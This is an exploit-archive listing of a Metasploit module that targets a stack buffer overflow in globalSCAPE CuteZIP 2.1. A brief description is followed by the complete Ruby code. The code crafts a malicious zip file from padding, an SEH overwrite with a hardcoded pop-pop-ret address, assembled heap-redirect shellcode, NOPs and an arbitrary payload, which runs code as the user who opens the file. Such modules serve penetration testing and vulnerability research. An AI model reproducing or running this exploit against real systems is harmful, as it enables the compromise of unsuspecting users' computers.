exploit the possibilities

globalSCAPE CuteZIP Stack Buffer Overflow

globalSCAPE CuteZIP Stack Buffer Overflow
Posted Aug 15, 2012
Authored by C4SS!0 G0M3S, juan vazquez | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability in version 2.1 of CuteZIP. In order for the command to be executed, an attacker must convince the target user to open a specially crafted zip file with CuteZIP. By doing so, an attacker can execute arbitrary code as the target user.

tags | exploit, overflow, arbitrary
MD5 | 6eb4d1790c7b9fec75c5601a37cd6a05

globalSCAPE CuteZIP Stack Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex/zip'


class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'globalSCAPE CuteZIP Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in version 2.1
of CuteZIP.

In order for the command to be executed, an attacker must convince the target user
to open a specially crafted zip file with CuteZIP. By doing so, an attacker can
execute arbitrary code as the target user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Initial discovery, poc
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'BID', '46375' ],
[ 'EDB', '16162' ],
],
'Platform' => [ 'win' ],
'Payload' =>
{
'BadChars' => "",
'DisableNops' => true,
'Space' => 3000 # Limit due to the heap chunk size where the payload is stored
},
'Targets' =>
[
[
# Tested successfully on:
# * Windows XP SP3
# * Windows Vista SP2
# * Windows 7 SP1
# (NO DEP)
'CuteZIP 2.1 / Windows Universal',
{
'Ret' => 0x0040112F, # pop, pop, ret from CuteZIP.exe
'Offset' => 1148,
'Nops' => 398
}
],
],
'DisclosureDate' => 'Feb 12 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip'])
], self.class)

end

def exploit

redirect_heap = <<-ASM
popad
popad
popad
push ecx
pop eax
call eax
ASM

crafted_file = rand_text(target['Offset'])
crafted_file << generate_seh_record(target.ret)
crafted_file << Metasm::Shellcode.assemble(Metasm::Ia32.new, redirect_heap).encode_string
crafted_file << make_nops(1) * target['Nops']
crafted_file << payload.encoded

# Create the file
zip = Rex::Zip::Archive.new
xtra = rand_text(4)
zip.add_file(crafted_file, xtra)

print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(zip.pack)
end

end
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